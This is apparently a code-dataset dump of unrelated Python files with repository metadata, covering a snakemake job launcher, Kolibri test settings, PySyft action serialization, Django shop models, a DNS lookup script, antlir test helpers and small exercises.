import os MAX_RAM = '1000G' def build_model(arguments): model_args = '' for arg in vars(arguments): attr = getattr(arguments,arg) model_args += " {}={}".format(arg, attr) if arg == 'hyperparam': # hyperparameter optimizations require additional RAM # subject to change if attr == True: RAM = '250G' else: RAM = '125G' # if using >11mers, max out the ram greedy_sceduler = False if getattr(arguments,'type')[-3:] == 'mer': if int(getattr(arguments,'type')[:2]) > 11: RAM = MAX_RAM greedy_sceduler = True cluster = getattr(arguments,'cluster').upper() # when not using cluster if cluster == 'NONE': os.system("snakemake -s acheron/workflows/modeler.smk -j {} \ --config{}".format(getattr(arguments,'cores'), model_args)) # when using slurm cluster management elif cluster == 'SLURM': if greedy_sceduler: os.system("sbatch -c {0} --mem {1} snakemake -s acheron/workflows/modeler.smk -j {0} \ --config{2} --nolock --scheduler greedy".format(getattr(arguments,'cores'), RAM, model_args)) else: os.system("sbatch -c {0} --mem {1} snakemake -s acheron/workflows/modeler.smk -j {0} \ --config{2} --nolock".format(getattr(arguments,'cores'), RAM, model_args)) else: raise Exception("cluster config {} not supported, use slurm or none".format(cluster))
35.302326
105
0.581686
618a4307b39aa0012cfde0dcc662084fff55d450
726
py
Python
kolibri/deployment/default/settings/test.py
FollonSaxBass/kolibri
4cf820b14386aecc228fecff64c847bad407cbb1
[ "MIT" ]
2
2021-05-13T10:20:46.000Z
2021-11-15T12:31:03.000Z
kolibri/deployment/default/settings/test.py
Priyaraj17/kolibri
6d600213871e8a748209870b508dd97a505907c1
[ "MIT" ]
8
2021-05-21T15:31:24.000Z
2022-02-24T15:02:14.000Z
kolibri/deployment/default/settings/test.py
Priyaraj17/kolibri
6d600213871e8a748209870b508dd97a505907c1
[ "MIT" ]
4
2021-11-15T04:23:34.000Z
2021-11-25T16:40:11.000Z
from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import os import tempfile # If KOLIBRI_HOME isn't defined in the test env, it's okay to just set a # temp directory for testing. if "KOLIBRI_HOME" not in os.environ: os.environ["KOLIBRI_HOME"] = tempfile.mkdtemp() from .base import * # noqa isort:skip @UnusedWildImport try: process_cache = CACHES["process_cache"] # noqa F405 except KeyError: process_cache = None # Create a dummy cache for each cache CACHES = { key: {"BACKEND": "django.core.cache.backends.dummy.DummyCache"} for key in CACHES.keys() # noqa F405 } if process_cache: CACHES["process_cache"] = process_cache
25.034483
72
0.745179
0cc23b5c4c6ca9b398d269d41e764f07800d3eb1
11,242
py
Python
src/syft/core/node/common/action/run_class_method_action.py
ariannmichael/PySyft
0205898c3268b17ccebc5916f9aff370a1c48a25
[ "Apache-2.0" ]
null
null
null
src/syft/core/node/common/action/run_class_method_action.py
ariannmichael/PySyft
0205898c3268b17ccebc5916f9aff370a1c48a25
[ "Apache-2.0" ]
null
null
null
src/syft/core/node/common/action/run_class_method_action.py
ariannmichael/PySyft
0205898c3268b17ccebc5916f9aff370a1c48a25
[ "Apache-2.0" ]
null
null
null
# stdlib import functools from typing import Any from typing import Dict from typing import List from typing import Optional # third party from google.protobuf.reflection import GeneratedProtocolMessageType from nacl.signing import VerifyKey # syft absolute from syft.core.plan.plan import Plan # syft relative from ..... import lib from ..... import serialize from .....logger import critical from .....logger import traceback_and_raise from .....logger import warning from .....proto.core.node.common.action.run_class_method_pb2 import ( RunClassMethodAction as RunClassMethodAction_PB, ) from .....util import inherit_tags from ....common.serde.deserialize import _deserialize from ....common.serde.serializable import bind_protobuf from ....common.uid import UID from ....io.address import Address from ....store.storeable_object import StorableObject from ...abstract.node import AbstractNode from .common import ImmediateActionWithoutReply @bind_protobuf class RunClassMethodAction(ImmediateActionWithoutReply): """ When executing a RunClassMethodAction, a :class:`Node` will run a method defined by the action's path attribute on the object pointed at by _self and keep the returned value in its store. Attributes: path: the dotted path to the method to call _self: a pointer to the object which the method should be applied to. args: args to pass to the function. They should be pointers to objects located on the :class:`Node` that will execute the action. kwargs: kwargs to pass to the function. They should be pointers to objects located on the :class:`Node` that will execute the action. """ def __init__( self, path: str, _self: Any, args: List[Any], kwargs: Dict[Any, Any], id_at_location: UID, address: Address, msg_id: Optional[UID] = None, is_static: Optional[bool] = False, ): self.path = path self._self = _self self.args = args self.kwargs = kwargs self.id_at_location = id_at_location self.is_static = is_static # logging needs .path to exist before calling # this which is why i've put this super().__init__ down here super().__init__(address=address, msg_id=msg_id) @staticmethod def intersect_keys( left: Dict[VerifyKey, UID], right: Dict[VerifyKey, UID] ) -> Dict[VerifyKey, UID]: # get the intersection of the dict keys, the value is the request_id # if the request_id is different for some reason we still want to keep it, # so only intersect the keys and then copy those over from the main dict # into a new one intersection = set(left.keys()).intersection(right.keys()) # left and right have the same keys return {k: left[k] for k in intersection} @property def pprint(self) -> str: return f"RunClassMethodAction({self.path})" def execute_action(self, node: AbstractNode, verify_key: VerifyKey) -> None: method = node.lib_ast(self.path) mutating_internal = False if ( self.path.startswith("torch.Tensor") and self.path.endswith("_") and not self.path.endswith("__call__") ): mutating_internal = True elif not self.path.startswith("torch.Tensor") and self.path.endswith( "__call__" ): mutating_internal = True resolved_self = None if not self.is_static: resolved_self = node.store.get_object(key=self._self.id_at_location) if resolved_self is None: critical( f"execute_action on {self.path} failed due to missing object" + f" at: {self._self.id_at_location}" ) return result_read_permissions = resolved_self.read_permissions else: result_read_permissions = {} resolved_args = list() tag_args = [] for arg in self.args: r_arg = node.store[arg.id_at_location] result_read_permissions = self.intersect_keys( result_read_permissions, r_arg.read_permissions ) resolved_args.append(r_arg.data) tag_args.append(r_arg) resolved_kwargs = {} tag_kwargs = {} for arg_name, arg in self.kwargs.items(): r_arg = node.store[arg.id_at_location] result_read_permissions = self.intersect_keys( result_read_permissions, r_arg.read_permissions ) resolved_kwargs[arg_name] = r_arg.data tag_kwargs[arg_name] = r_arg ( upcasted_args, upcasted_kwargs, ) = lib.python.util.upcast_args_and_kwargs(resolved_args, resolved_kwargs) if self.is_static: result = method(*upcasted_args, **upcasted_kwargs) else: if resolved_self is None: traceback_and_raise( ValueError(f"Method {method} called, but self is None.") ) # in opacus the step method in torch gets monkey patched on .attach # this means we can't use the original AST method reference and need to # get it again from the actual object so for now lets allow the following # two methods to be resolved at execution time method_name = self.path.split(".")[-1] if isinstance(resolved_self.data, Plan) and method_name == "__call__": result = method( resolved_self.data, node, verify_key, *self.args, **upcasted_kwargs, ) else: target_method = getattr(resolved_self.data, method_name, None) if id(target_method) != id(method): warning( f"Method {method_name} overwritten on object {resolved_self.data}" ) method = target_method else: method = functools.partial(method, resolved_self.data) result = method(*upcasted_args, **upcasted_kwargs) if lib.python.primitive_factory.isprimitive(value=result): # Wrap in a SyPrimitive result = lib.python.primitive_factory.PrimitiveFactory.generate_primitive( value=result, id=self.id_at_location ) else: # TODO: overload all methods to incorporate this automatically if hasattr(result, "id"): try: if hasattr(result, "_id"): # set the underlying id result._id = self.id_at_location else: result.id = self.id_at_location assert result.id == self.id_at_location except AttributeError as e: err = f"Unable to set id on result {type(result)}. {e}" traceback_and_raise(Exception(err)) if mutating_internal: if isinstance(resolved_self, StorableObject): resolved_self.read_permissions = result_read_permissions if not isinstance(result, StorableObject): result = StorableObject( id=self.id_at_location, data=result, read_permissions=result_read_permissions, ) inherit_tags( attr_path_and_name=self.path, result=result, self_obj=resolved_self, args=tag_args, kwargs=tag_kwargs, ) node.store[self.id_at_location] = result def _object2proto(self) -> RunClassMethodAction_PB: """Returns a protobuf serialization of self. As a requirement of all objects which inherit from Serializable, this method transforms the current object into the corresponding Protobuf object so that it can be further serialized. :return: returns a protobuf object :rtype: RunClassMethodAction_PB .. note:: This method is purely an internal method. Please use serialize(object) or one of the other public serialization methods if you wish to serialize an object. """ return RunClassMethodAction_PB( path=self.path, _self=serialize(self._self), args=list(map(lambda x: serialize(x), self.args)), kwargs={k: serialize(v) for k, v in self.kwargs.items()}, id_at_location=serialize(self.id_at_location), address=serialize(self.address), msg_id=serialize(self.id), ) @staticmethod def _proto2object(proto: RunClassMethodAction_PB) -> "RunClassMethodAction": """Creates a ObjectWithID from a protobuf As a requirement of all objects which inherit from Serializable, this method transforms a protobuf object into an instance of this class. :return: returns an instance of RunClassMethodAction :rtype: RunClassMethodAction .. note:: This method is purely an internal method. Please use syft.deserialize() if you wish to deserialize an object. """ return RunClassMethodAction( path=proto.path, _self=_deserialize(blob=proto._self), args=list(map(lambda x: _deserialize(blob=x), proto.args)), kwargs={k: _deserialize(blob=v) for k, v in proto.kwargs.items()}, id_at_location=_deserialize(blob=proto.id_at_location), address=_deserialize(blob=proto.address), msg_id=_deserialize(blob=proto.msg_id), ) @staticmethod def get_protobuf_schema() -> GeneratedProtocolMessageType: """Return the type of protobuf object which stores a class of this type As a part of serialization and deserialization, we need the ability to lookup the protobuf object type directly from the object type. This static method allows us to do this. Importantly, this method is also used to create the reverse lookup ability within the metaclass of Serializable. In the metaclass, it calls this method and then it takes whatever type is returned from this method and adds an attribute to it with the type of this class attached to it. See the MetaSerializable class for details. :return: the type of protobuf object which corresponds to this class. :rtype: GeneratedProtocolMessageType """ return RunClassMethodAction_PB def remap_input(self, current_input: Any, new_input: Any) -> None: """Redefines some of the arguments, and possibly the _self of the function""" if self._self.id_at_location == current_input.id_at_location: self._self = new_input else: for i, arg in enumerate(self.args): if arg.id_at_location == current_input.id_at_location: self.args[i] = new_input
38.108475
95
0.618929
e9590701c27469096ccecc4dd7234479d8177ad6
1,689
py
Python
clowder/cli/checkout.py
JrGoodle/clowder
864afacfc7122e937f7087e233c61d05fd007af2
[ "MIT" ]
12
2016-02-12T02:37:24.000Z
2021-01-04T05:14:12.000Z
clowder/cli/checkout.py
JrGoodle/clowder
864afacfc7122e937f7087e233c61d05fd007af2
[ "MIT" ]
370
2015-07-06T22:59:08.000Z
2021-10-01T14:58:17.000Z
clowder/cli/checkout.py
JrGoodle/clowder
864afacfc7122e937f7087e233c61d05fd007af2
[ "MIT" ]
3
2015-10-22T18:45:31.000Z
2018-10-16T15:30:30.000Z
"""Clowder command line checkout controller .. codeauthor:: Joe DeCapo <joe@polka.cat> """ import argparse import clowder.util.formatting as fmt from clowder.clowder_controller import CLOWDER_CONTROLLER, print_clowder_name, valid_clowder_yaml_required from clowder.config import Config from clowder.git.clowder_repo import print_clowder_repo_status from clowder.util.console import CONSOLE from .util import add_parser_arguments def add_checkout_parser(subparsers: argparse._SubParsersAction) -> None: # noqa """Add clowder checkout parser :param argparse._SubParsersAction subparsers: Subparsers action to add parser to """ parser = subparsers.add_parser('checkout', help='Checkout local branch in projects') parser.formatter_class = argparse.RawTextHelpFormatter parser.set_defaults(func=checkout) add_parser_arguments(parser, [ (['branch'], dict(nargs=1, action='store', help='branch to checkout', metavar='<branch>')), (['projects'], dict(metavar='<project|group>', default='default', nargs='*', choices=CLOWDER_CONTROLLER.project_choices_with_default, help=fmt.project_options_help_message('projects and groups to checkout branches for'))) ]) @valid_clowder_yaml_required @print_clowder_name @print_clowder_repo_status def checkout(args) -> None: """Clowder checkout command private implementation""" projects = Config().process_projects_arg(args.projects) projects = CLOWDER_CONTROLLER.filter_projects(CLOWDER_CONTROLLER.projects, projects) for project in projects: CONSOLE.stdout(project.status()) project.checkout(args.branch[0])
35.1875
115
0.743635
a48e9561ef7bb9e6b36714ec206137625124c50f
4,232
py
Python
core/models.py
dongmokevin/ecomv1
abb3dc5a5476c379c029b8299e820c1979d5eb14
[ "MIT" ]
null
null
null
core/models.py
dongmokevin/ecomv1
abb3dc5a5476c379c029b8299e820c1979d5eb14
[ "MIT" ]
null
null
null
core/models.py
dongmokevin/ecomv1
abb3dc5a5476c379c029b8299e820c1979d5eb14
[ "MIT" ]
null
null
null
from django.db import models from django.conf import settings from django.contrib.auth.models import User from django.shortcuts import reverse from django.utils.text import slugify # Create your models here. class ProductManager(models.Manager): def get_queryset(self): return super(ProductManager, self).get_queryset().filter(is_active=True) class Product(models.Model): name = models.CharField(max_length=210) price = models.DecimalField(max_digits=9, decimal_places=2) slug = models.SlugField(max_length=48) image = models.ImageField(upload_to="product-images", null=True) thumbnail = models.ImageField(upload_to="product-thumbnails", null=True, blank=True) generic_name = models.CharField(max_length=100, blank=True, null=True) decription = models.TextField(blank=True, null=True) is_active = models.BooleanField(default=True) created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) objects = models.Manager() products = ProductManager() def __str__(self): return self.name @property def imageURL(self): try: url =self.thumbnail.url except: url = self.image.url return url def get_absolute_url(self): return reverse('core:product', kwargs={ 'slug': self.slug }) def get_add_to_cart_url(self): return reverse('core:add-to-cart', kwargs={ 'slug': self.slug }) def get_remove_from_cart_url(self): return reverse('core:remove_from_cart', kwargs={ 'slug': self.slug }) def save(self, *args, **kwargs): value = self.name self.slug = slugify(value,)# allow_unicode=True) super(Product, self).save(*args, **kwargs) # class OrderItem(models.Model): # customer = models.ForeignKey(Customer, on_delete=models.SET_NULL, blank=True, null=True) # product = models.ForeignKey(Product, on_delete=models.SET_NULL, blank=True, null=True) # # order = models.ForeignKey(Order, on_delete=models.SET_NULL, blank=True, null=True) # quantity = models.IntegerField(default=0, null=True, blank=True) # date_ordered = models.DateTimeField(auto_now_add=True) # # @property # def get_total(self): # total =self.product.price * self.quantity # return total # # # def get_total_final_price(self): # # if self.product.price: # # return self.get_total # # class Order(models.Model): # customer = models.ForeignKey(Customer, on_delete=models.SET_NULL, blank=True, null=True) # date_ordered = models.DateTimeField(auto_now_add=True) # complete = models.BooleanField(default=False, null=True, blank=True) # transaction_id = models.CharField(max_length=200, null=True) # # products = models.ManyToManyField(OrderItem) # # def __str__(self): # return str(self.id) # # @property # def get_cart_total(self): # orderitems = self.products.all() # total = sum([item.get_total for item in orderitems]) # return total # # def get_cart_total(self): # # total = 0 # # for order_item in self.products.all(): # # total += order_item.get_total() # # return total # # # @property # def get_cart_items(self): # orderitems = self.products.all() # total = sum([item.quantity for item in orderitems]) # return total # # # class ShippingAdresses(models.Model): # customer = models.ForeignKey(Customer, on_delete=models.SET_NULL, blank=True, null=True) # name = models.CharField(max_length=200) # order = models.ForeignKey(Order, on_delete=models.SET_NULL, blank=True, null=True) # address = models.CharField(max_length=200, null=True) # address2 = models.CharField(max_length=200, null=True, blank=True) # city = models.CharField(max_length=200, null=True) # state = models.CharField(max_length=200, null=True) # zipcode = models.CharField(max_length=200, null=True, blank=True) # phone = models.CharField(max_length=200, null=True) # phone = models.DateTimeField(auto_now_add=True) # # def __str__(self): # return str(address)
36.482759
94
0.670369
85f9c68cad40d6a5b44dbc9ba7bf674212d40121
2,391
py
Python
Code/CreatPath_Labeltxt.py
haoranD/FaceAntiSpoofing_DL
40e12ee9db6fbaded03c7aff1f933fe8be5e4ff3
[ "MIT" ]
19
2018-10-30T22:24:54.000Z
2022-01-11T05:14:38.000Z
Code/CreatPath_Labeltxt.py
coderwangson/FaceAntiSpoofing_DL
40e12ee9db6fbaded03c7aff1f933fe8be5e4ff3
[ "MIT" ]
4
2018-11-21T06:09:13.000Z
2019-04-14T15:09:37.000Z
Code/CreatPath_Labeltxt.py
coderwangson/FaceAntiSpoofing_DL
40e12ee9db6fbaded03c7aff1f933fe8be5e4ff3
[ "MIT" ]
4
2018-11-06T00:31:25.000Z
2021-01-30T12:37:35.000Z
import os from os import listdir TRAINING = 0 TESTING = 1 CASIA = 0 REPLAYATTACK = 1 def CreatLabelPath(PROCESSFLAG,DataBaseOpt): print("In function CreatLabelPath, start processing!") true_img_dir_CASIA = ['1.avi', '2.avi', 'HR_1.avi', 'HR_4.avi'] if DataBaseOpt == REPLAYATTACK: path_train_root_img = "../../../Data/ReplayAttack/Train/Train_aligned_5p/" path_train_output = "../../../Data/ReplayAttack/Train/label_img_train_5p.txt" path_test_root_img = "../../../Data/ReplayAttack/Test/Test_aligned_5p/" path_test_output = "../../../Data/ReplayAttack/Test/label_img_test_5p.txt" elif DataBaseOpt == CASIA: path_train_root_img = "/media/haoran/Data1/LivenessDetection/Data/CBSR-Antispoofing/Train/Train_aligned_ALL/" path_train_output = "/media/haoran/Data1/LivenessDetection/Data/CBSR-Antispoofing/Train/label_img_train_all.txt" path_test_root_img = "/media/haoran/Data1/LivenessDetection/Data/CBSR-Antispoofing/Test/Test_aligned_ALL/" path_test_output = "/media/haoran/Data1/LivenessDetection/Data/CBSR-Antispoofing/Test/label_img_test_all.txt" if PROCESSFLAG == TRAINING: path_root_img = path_train_root_img path_output = path_train_output if os.path.exists(path_train_output): os.remove(path_train_output) else: path_root_img = path_test_root_img path_output = path_test_output if os.path.exists(path_test_output): os.remove(path_test_output) for dir_img in listdir(path_root_img): dir1_img = os.path.join(path_root_img, dir_img) #print "dir1_img" + dir1_img # for g_img in listdir(dir2_img): # img_path = os.path.join(dir2_img,g_img) # print(img_path) print(dir_img) if dir_img == 'Real': for f_img in listdir(dir1_img): img_path = os.path.join(dir1_img, f_img) with open(path_output, 'a') as f: f.write(img_path + ' ' + '1' + '\n') elif dir_img == 'Attack': for f_img in listdir(dir1_img): img_path = os.path.join(dir1_img, f_img) with open(path_output, 'a') as f: f.write(img_path + ' ' + '0' + '\n') print("Processing CreatLabelPath Success!") CreatLabelPath(TRAINING,CASIA) CreatLabelPath(TESTING,CASIA)
40.525424
120
0.654538
d16dee5ec41ff6abda582add48de8c91e77f7912
2,301
py
Python
backend/db/models/user.py
digitaltembo/stylobate
c22dbbb671612b2c95f84b7ee95dcb40f1fb6baa
[ "MIT" ]
4
2020-07-29T02:01:41.000Z
2022-02-19T13:11:30.000Z
backend/db/models/user.py
digitaltembo/stylobate
c22dbbb671612b2c95f84b7ee95dcb40f1fb6baa
[ "MIT" ]
4
2021-03-11T02:00:08.000Z
2022-02-19T05:07:33.000Z
backend/db/models/user.py
digitaltembo/stylobate
c22dbbb671612b2c95f84b7ee95dcb40f1fb6baa
[ "MIT" ]
null
null
null
import bcrypt from sqlalchemy import Column, Boolean, Integer, String import datetime import jwt from pydantic import BaseModel from sql import Base from utils.config import SECRET_KEY TWO_WEEKS = datetime.timedelta(days=14) # SQLAlchemy ORM Model class User(Base): __tablename__ = "users" id = Column(Integer(), primary_key=True) email = Column(String(255), unique=True) password = Column(String(255), nullable=False) isSuperuser = Column('is_superuser', Boolean(), default=False, nullable=False ) def __init__(self, id: int = 0, email: str = '', password: str = '', isSuperuser: bool = False): self.email = email self.password = User.hashed_password(password) self.isSuperuser = isSuperuser self.id = id def generate_token(self, expiration: datetime.timedelta=TWO_WEEKS): user_dict = UserType.from_orm(self).dict() user_dict["exp"] = datetime.datetime.utcnow() + TWO_WEEKS return jwt.encode(user_dict, SECRET_KEY, algorithm='HS256') @staticmethod def hashed_password(password: str): return bcrypt.hashpw(password, bcrypt.gensalt()) @staticmethod def password_matches(password: str, user): return bcrypt.checkpw(password, user.password) @staticmethod def verify_token(token: str): try: data = UserType.parse_obj(jwt.decode(token, SECRET_KEY, algorithms='HS256')) return data.to_user() except: return None @staticmethod def create_superuser(email: str, password: str): print("INSERT INTO users (email, password, is_superuser) VALUES ('{}','{}', 1);".format(email, User.hashed_password(password))) # Pydantic Data Schemas class UserBaseType(BaseModel): email: str class UserCreateType(UserBaseType): email: str password: str def to_user(self): return User( email = self.email, password = User.hashed_password(self.password) ) class UserType(UserBaseType): id: int email: str isSuperuser: bool def to_user(self) -> User: return User( id = self.id, email = self.email, isSuperuser = self.isSuperuser ) class Config: orm_mode = True
28.060976
135
0.647545
a5baf58d61f2f70d00172aab1433ecf77f1b544c
1,958
py
Python
python3/day_003/day-003-dns-lookup-domain-details-info.py
king-md/100DaysOfCode
ab2e2495e804663ca35f72bbc8d8ec06cb202fac
[ "MIT" ]
null
null
null
python3/day_003/day-003-dns-lookup-domain-details-info.py
king-md/100DaysOfCode
ab2e2495e804663ca35f72bbc8d8ec06cb202fac
[ "MIT" ]
null
null
null
python3/day_003/day-003-dns-lookup-domain-details-info.py
king-md/100DaysOfCode
ab2e2495e804663ca35f72bbc8d8ec06cb202fac
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys import dns.resolver def main(): # print( len(sys.argv) ) # if( 2 == len(sys.argv) ): # name_server = '8.8.8.8' #Google's DNS server # ADDITIONAL_RDCLASS = 65535 # request = dns.message.make_query('google.com', dns.rdatatype.ANY) # request.flags |= dns.flags.AD # request.find_rrset(request.additional, dns.name.root, ADDITIONAL_RDCLASS, dns.rdatatype.OPT, create=True, force_unique=True) # response = dns.query.udp(request, name_server) # print( "response:", response ) # #answer=dns.resolver.query("google.com", "all") # #for data in answer: # # print( data.strings ) # else: # print( "invalid arguments." ) # # return import sys import socket import dns.resolver print( 'Argument List:', str(sys.argv) ) site = sys.argv[1] dns_server = sys.argv[2] # Basic CNAME query the host's DNS #for rdata in dns.resolver.query(site, 'CNAME') : # print( rdata.target ) # Basic A query the host's DNS for rdata in dns.resolver.query(site, 'A') : print( rdata.address ) # Setting an specific DNS Server resolver = dns.resolver.Resolver() resolver.nameservers = [socket.gethostbyname(dns_server)] # Basic CNAME query with the specific DNS server #answer = resolver.query(site, 'CNAME'); #for rdata in answer : # print( rdata.target ) # Basic A query with the specific DNS server answer = resolver.query(site, 'A'); for rdata in answer : print( rdata.address ) # Basic AAAA query with the specific DNS server answer = resolver.query(site, 'AAAA'); for rdata in answer : print( rdata.address ) # Basic TXT query with the specific DNS server answer = resolver.query(site, 'TXT'); for rdata in answer : print( rdata.strings ) return main()
26.459459
140
0.61287
8284571593ab09681ccd718ff781b6d0a9ce9dd5
720
py
Python
tables.py
Mr-Hockatt/SIR-Model-Visualizer
07f044810f46a3b6bc2cc981330b88cdac0446ab
[ "MIT" ]
null
null
null
tables.py
Mr-Hockatt/SIR-Model-Visualizer
07f044810f46a3b6bc2cc981330b88cdac0446ab
[ "MIT" ]
null
null
null
tables.py
Mr-Hockatt/SIR-Model-Visualizer
07f044810f46a3b6bc2cc981330b88cdac0446ab
[ "MIT" ]
null
null
null
from tkinter import * import csv def createStandardTable(f,window): handle = csv.reader(f) length = len(next(handle)) sizes = [0] * length for record in handle: for p,column in enumerate(record): if len(column) > sizes[p]: sizes[p] = len(column)+3 f.seek(0) trow = 0 table = Frame(window) for record in handle: for w,column in enumerate(record): Label(table,text=column,width=sizes[w],borderwidth=2,relief="groove",justify=LEFT,anchor=W, background='white').grid(column=w,row=trow,sticky=W) trow+=1 return table
22.5
157
0.526389
e91375611f660eb4dd4bcc854be2e1245d7b6222
4,343
py
Python
antlir/compiler/items/tests/common.py
baioc/antlir
e3b47407b72c4aee835adf4e68fccd9abff457f2
[ "MIT" ]
28
2020-08-11T16:22:46.000Z
2022-03-04T15:41:52.000Z
antlir/compiler/items/tests/common.py
baioc/antlir
e3b47407b72c4aee835adf4e68fccd9abff457f2
[ "MIT" ]
137
2020-08-11T16:07:49.000Z
2022-02-27T10:59:05.000Z
antlir/compiler/items/tests/common.py
baioc/antlir
e3b47407b72c4aee835adf4e68fccd9abff457f2
[ "MIT" ]
10
2020-09-10T00:01:28.000Z
2022-03-08T18:00:28.000Z
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import os import subprocess import tempfile import unittest from contextlib import contextmanager from antlir.compiler.requires_provides import ( ProvidesDirectory, ProvidesFile, ProvidesSymlink, ) from antlir.fs_utils import Path from antlir.nspawn_in_subvol.args import PopenArgs, new_nspawn_opts from antlir.nspawn_in_subvol.nspawn import run_nspawn from antlir.subvol_utils import Subvol from antlir.tests.layer_resource import layer_resource_subvol from antlir.tests.subvol_helpers import pop_path, render_subvol from ..common import LayerOpts # Re-export for legacy reasons pop_path = pop_path render_subvol = render_subvol DEFAULT_STAT_OPTS = ["--user=root", "--group=root", "--mode=0755"] DUMMY_LAYER_OPTS = LayerOpts( layer_target="fake target", # Only used by error messages build_appliance=None, # For a handful of tests, this must be a boolean value so the layer # emits it it into /.meta, but the value is not important. artifacts_may_require_repo=True, # pyre-fixme[6]: Expected `Mapping[str, str]` for 4th param but got `None`. target_to_path=None, # pyre-fixme[6]: Expected `Path` for 5th param but got `None`. subvolumes_dir=None, rpm_installer=None, version_set_override=None, rpm_repo_snapshot=None, # pyre-fixme[6]: Expected `frozenset[str]` for 9th param but got # `List[Variable[_T]]`. allowed_host_mount_targets=[], flavor="antlir_test", ) # This has to be a function because using `importlib` while loading a module # results in incorrect behavior (I did not debug the specifics). def get_dummy_layer_opts_ba(): return DUMMY_LAYER_OPTS._replace( build_appliance=layer_resource_subvol( __package__, "test-build-appliance" ) ) def populate_temp_filesystem(img_path): "Matching Provides are generated by _temp_filesystem_provides" def p(img_rel_path): return os.path.join(img_path, img_rel_path) os.makedirs(p("a/b/c")) os.makedirs(p("a/d")) for filepath in ["a/E", "a/d/F", "a/b/c/G"]: with open(p(filepath), "w") as f: f.write("Hello, " + filepath) os.symlink("a", p("h")) os.symlink("a/E", p("i")) os.symlink("./a/b", p("j")) os.symlink("../a", p("h/k")) os.symlink("/a", p("l")) os.symlink("/a/E", p("m")) @contextmanager def temp_filesystem(): with tempfile.TemporaryDirectory() as td_path: populate_temp_filesystem(td_path) yield td_path def temp_filesystem_provides(p=""): "Captures what is provided by _temp_filesystem, if installed at `p`" "inside the image." return { ProvidesDirectory(path=Path(f"{p}/a")), ProvidesDirectory(path=Path(f"{p}/a/b")), ProvidesDirectory(path=Path(f"{p}/a/b/c")), ProvidesDirectory(path=Path(f"{p}/a/d")), ProvidesFile(path=Path(f"{p}/a/E")), ProvidesFile(path=Path(f"{p}/a/d/F")), ProvidesFile(path=Path(f"{p}/a/b/c/G")), ProvidesSymlink(path=Path(f"{p}/h"), target=(Path("a"))), ProvidesSymlink(path=Path(f"{p}/i"), target=(Path("a/E"))), ProvidesSymlink(path=Path(f"{p}/j"), target=(Path("./a/b"))), ProvidesSymlink(path=Path(f"{p}/a/k"), target=(Path("../a"))), ProvidesSymlink(path=Path(f"{p}/l"), target=(Path("/a"))), ProvidesSymlink(path=Path(f"{p}/m"), target=(Path("/a/E"))), } def run_in_ba(layer: Subvol, cmd) -> subprocess.CompletedProcess: res, _ = run_nspawn( new_nspawn_opts( cmd=cmd, layer=layer, ), PopenArgs( stdout=subprocess.PIPE, ), ) return res def getent(layer: Subvol, dbtype: str, name: str) -> bytes: return run_in_ba( cmd=["getent", dbtype, name], layer=layer, ).stdout class BaseItemTestCase(unittest.TestCase): def setUp(self): # More output for easier debugging unittest.util._MAX_LENGTH = 12345 self.maxDiff = 12345 def _check_item(self, i, provides, requires): self.assertEqual(provides, set(i.provides())) self.assertEqual(requires, set(i.requires()))
31.244604
79
0.660373
2a26f477047c190c66b985ec41373c5a603d1152
544
py
Python
home/forms.py
akash-kd/Robotics_Club_Website
f8ec81a5afc0048bd32ff1f13e928ba9b31f3b97
[ "MIT" ]
null
null
null
home/forms.py
akash-kd/Robotics_Club_Website
f8ec81a5afc0048bd32ff1f13e928ba9b31f3b97
[ "MIT" ]
20
2021-10-19T07:07:44.000Z
2022-02-04T13:19:44.000Z
home/forms.py
akash-kd/Robotics_Club_Website
f8ec81a5afc0048bd32ff1f13e928ba9b31f3b97
[ "MIT" ]
3
2021-08-23T17:30:57.000Z
2022-01-15T16:22:29.000Z
from django import forms class ContactForm(forms.Form): name=forms.CharField(max_length=100,label='Your Name',widget=forms.TextInput(attrs={'placeholder': 'Your Name'})) email = forms.EmailField(label='Email',widget=forms.TextInput(attrs={'placeholder': 'Email'})) body = forms.CharField(min_length=10,max_length=1000,label='Message',widget=forms.Textarea(attrs={'rows':5,'col':2, 'placeholder':'Message'})) subject = forms.CharField(max_length=100, label='Subject',widget=forms.TextInput(attrs={'placeholder': 'Subject'}))
49.454545
146
0.737132
e2ae773e8d11fadc081d9f560eb98e2e1b230d16
899
py
Python
happy-numbers.py
CoderEren/Python-Algorithms
3100208f8ffddce537908cc4e2090ae125876327
[ "MIT" ]
null
null
null
happy-numbers.py
CoderEren/Python-Algorithms
3100208f8ffddce537908cc4e2090ae125876327
[ "MIT" ]
null
null
null
happy-numbers.py
CoderEren/Python-Algorithms
3100208f8ffddce537908cc4e2090ae125876327
[ "MIT" ]
null
null
null
#input an integer #square its digits and find the sum of squares #continue with this number #repeat until either answer is 1 -> happy #or until you get trapped in a cycle -> unhappy number = input("Enter a number: ") numbers_in_recursive = [] def recursive(number): if number in numbers_in_recursive: print("The number is an unhappy number!") else: digits = [] sum_of_digits = 0 for digit in number: digits.append(digit) print("Digits:", digits) for digit in digits: squared_digit = int(digit) ** 2 sum_of_digits += int(squared_digit) print("Sum of digits:", sum_of_digits) if sum_of_digits == 1: print("The number is a happy number!") else: numbers_in_recursive.append(str(number)) recursive(str(sum_of_digits)) recursive(number)
25.685714
52
0.61624
6bcf40c06838225d160c5bd7ffc8ea98b5c1e4eb
344
py
Python
predavanje2/slozene_podatkovne_strukture.py
Miillky/uvod_u_programiranje
209611e38c8fe84c727649df4b868a4278eb77c3
[ "MIT" ]
null
null
null
predavanje2/slozene_podatkovne_strukture.py
Miillky/uvod_u_programiranje
209611e38c8fe84c727649df4b868a4278eb77c3
[ "MIT" ]
null
null
null
predavanje2/slozene_podatkovne_strukture.py
Miillky/uvod_u_programiranje
209611e38c8fe84c727649df4b868a4278eb77c3
[ "MIT" ]
null
null
null
import types jabuka = types.SimpleNamespace( vrsta="idared", boja="crvena", tezina=89 ) print(jabuka.vrsta) print(jabuka.boja) print(jabuka.tezina) jabuka.versta = "granny smith" del jabuka.boja jabuka.tezina = 125 print(jabuka.vrsta) print(jabuka.tezina) print(type(jabuka)) print(type(jabuka.vrsta)) print(type(jabuka.tezina))
16.380952
31
0.738372
5a1b1d7d8a9efbb14af89e5101a7f0ea47fe1ef9
3,375
py
Python
package/zimagi/facade.py
zimagi/zima
d87b3f91e2fa669a77145413582d636d783a0c71
[ "Apache-2.0" ]
null
null
null
